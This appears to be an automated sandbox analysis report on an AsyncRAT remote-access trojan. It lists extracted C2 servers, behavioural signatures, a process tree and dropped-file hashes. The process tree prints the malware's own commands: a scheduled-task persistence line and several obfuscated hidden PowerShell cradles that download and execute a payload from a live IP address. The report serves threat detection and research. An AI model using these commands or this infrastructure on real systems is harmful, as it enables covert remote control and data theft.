Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2024, 01:48

General

  • Target

    821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe

  • Size

    1.2MB

  • MD5

    a8884d5c23826a156a79a2e40ddbc10f

  • SHA1

    17ba269221f5e728a768f0e19bd1acf8759f44ac

  • SHA256

    821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1

  • SHA512

    8f14f18e84aac4643655994e6d11d1c166607beadbecc9cc969afa0a5e5881df4cf3c74c77f1de092240369e0922da52574108a358b04a3043d450a77191fedd

  • SSDEEP

    1536:67ja7Fg3dR05lpUFpILxwr1088AEUHXTit6oAfMOnYZm/ZMp+E1U793K7nadtU4s:6QiRGpUcwrXLEKXTToMMIYU60gqtU4s

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

RAT15

C2

darkstorm275991.ddns.net:6606

darkstorm275991.ddns.net:7707

darkstorm275991.ddns.net:8808

mrreport.duckdns.org:6606

mrreport.duckdns.org:7707

mrreport.duckdns.org:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    true

  • install_file

    Windows Session Manager.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe
    "C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5108
    • C:\Users\Admin\AppData\Local\Windows Session Manage.exe
      "C:\Users\Admin\AppData\Local\Windows Session Manage.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3372
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows Session Manager" /tr '"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"' & exit
        3⤵
          PID:4856
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "Windows Session Manager" /tr '"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"'
            4⤵
            • Creates scheduled task(s)
            PID:2884
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4B32.tmp.bat""
          3⤵
            PID:696
            • C:\Windows\SysWOW64\timeout.exe
              timeout 3
              4⤵
              • Delays execution with timeout.exe
              PID:5004
            • C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe
              "C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"
              4⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:2820
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fqdzhj.bat" "
                5⤵
                  PID:1112
                  • C:\Windows\SysWOW64\cmd.exe
                    CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)
                    6⤵
                      PID:3088
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)
                        7⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1548
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anmjhg.bat" "
                    5⤵
                      PID:4348
                      • C:\Windows\SysWOW64\cmd.exe
                        CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)
                        6⤵
                          PID:404
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)
                            7⤵
                            • Blocklisted process makes network request
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4140
                      • C:\Windows\SysWOW64\WScript.exe
                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ciaxlj.wsf"
                        5⤵
                        • Blocklisted process makes network request
                        • Checks computer location settings
                        PID:1232
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://146.103.11.88:222/8X.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
                          6⤵
                          • Blocklisted process makes network request
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3536
                      • C:\Windows\SysWOW64\WScript.exe
                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\mnjdko.wsf"
                        5⤵
                        • Blocklisted process makes network request
                        • Checks computer location settings
                        PID:4968
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://146.103.11.88:222/8X.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
                          6⤵
                          • Blocklisted process makes network request
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3876
                • C:\Users\Admin\AppData\Local\Windows Session Manager.exe
                  "C:\Users\Admin\AppData\Local\Windows Session Manager.exe"
                  2⤵
                  • Executes dropped EXE
                  PID:3420
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/Private_Hacking_Cracking_Tools
                  2⤵
                  • Enumerates system info in registry
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  • Suspicious use of WriteProcessMemory
                  PID:1656
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcd2b446f8,0x7ffcd2b44708,0x7ffcd2b44718
                    3⤵
                      PID:5016
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2064 /prefetch:2
                      3⤵
                        PID:1404
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 /prefetch:3
                        3⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4880
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8
                        3⤵
                          PID:4480
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
                          3⤵
                            PID:4780
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
                            3⤵
                              PID:1216
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5116 /prefetch:1
                              3⤵
                                PID:5056
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4964 /prefetch:8
                                3⤵
                                  PID:2100
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4964 /prefetch:8
                                  3⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4740
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5280 /prefetch:1
                                  3⤵
                                    PID:2464
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
                                    3⤵
                                      PID:2408
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4172 /prefetch:1
                                      3⤵
                                        PID:4312
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5164 /prefetch:1
                                        3⤵
                                          PID:3636
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3100 /prefetch:2
                                          3⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:4256
                                    • C:\Windows\System32\CompPkgSrv.exe
                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                      1⤵
                                        PID:4648
                                      • C:\Windows\System32\CompPkgSrv.exe
                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                        1⤵
                                          PID:4452

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Windows Session Manager.exe.log

                                          Filesize

                                          226B

                                          MD5

                                          916851e072fbabc4796d8916c5131092

                                          SHA1

                                          d48a602229a690c512d5fdaf4c8d77547a88e7a2

                                          SHA256

                                          7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d

                                          SHA512

                                          07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                          Filesize

                                          1KB

                                          MD5

                                          4280e36a29fa31c01e4d8b2ba726a0d8

                                          SHA1

                                          c485c2c9ce0a99747b18d899b71dfa9a64dabe32

                                          SHA256

                                          e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

                                          SHA512

                                          494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                          Filesize

                                          152B

                                          MD5

                                          e1b45169ebca0dceadb0f45697799d62

                                          SHA1

                                          803604277318898e6f5c6fb92270ca83b5609cd5

                                          SHA256

                                          4c0224fb7cc26ccf74f5be586f18401db57cce935c767a446659b828a7b5ee60

                                          SHA512

                                          357965b8d5cfaf773dbd9b371d7e308d1c86a6c428e542adbfe6bac34a7d2061d0a2f59e84e5b42768930e9b109e9e9f2a87e95cf26b3a69cbff05654ee42b4e

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                          Filesize

                                          152B

                                          MD5

                                          9ffb5f81e8eccd0963c46cbfea1abc20

                                          SHA1

                                          a02a610afd3543de215565bc488a4343bb5c1a59

                                          SHA256

                                          3a654b499247e59e34040f3b192a0069e8f3904e2398cbed90e86d981378e8bc

                                          SHA512

                                          2d21e18ef3f800e6e43b8cf03639d04510433c04215923f5a96432a8aa361fdda282cd444210150d9dbf8f028825d5bc8a451fd53bd3e0c9528eeb80d6e86597

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                          Filesize

                                          72B

                                          MD5

                                          dea0ae59386abcc2b175ecfa66b922f7

                                          SHA1

                                          d1771c9d290256ec8a3d60419e636cad3c919750

                                          SHA256

                                          8b638f333c8bd8244b624e689b4b5b0086c8fd898819fa5c4250ce96b54a1e9d

                                          SHA512

                                          0e646c90ab8342c652738825917f23fe1bf5be6c9d6d0cad0d0ad3e041896c3b89267dd1a0ac0df4f27f4627cb4170bd6e2bba7e495ea28114af90b9867a8281

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                          Filesize

                                          442B

                                          MD5

                                          2b76eb9e93b52a02284c87f21ab7c4e3

                                          SHA1

                                          4497441f8d7073e53231041b20ba23ea99ea47ef

                                          SHA256

                                          0c4197f1931fd67a07104969d34f0624d43b1ad256d5454e3e7f7680d28acaac

                                          SHA512

                                          9c892c21121294b0c661f1900320c439fba5c24d0f08abbd201ee8a27a6ac68e73cb9fd5541e4502f774f0bc0edd1f6348da8a3dd977adab99d3ef55cf4066fd

                                        • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                          Filesize

                                          6KB

                                          MD5

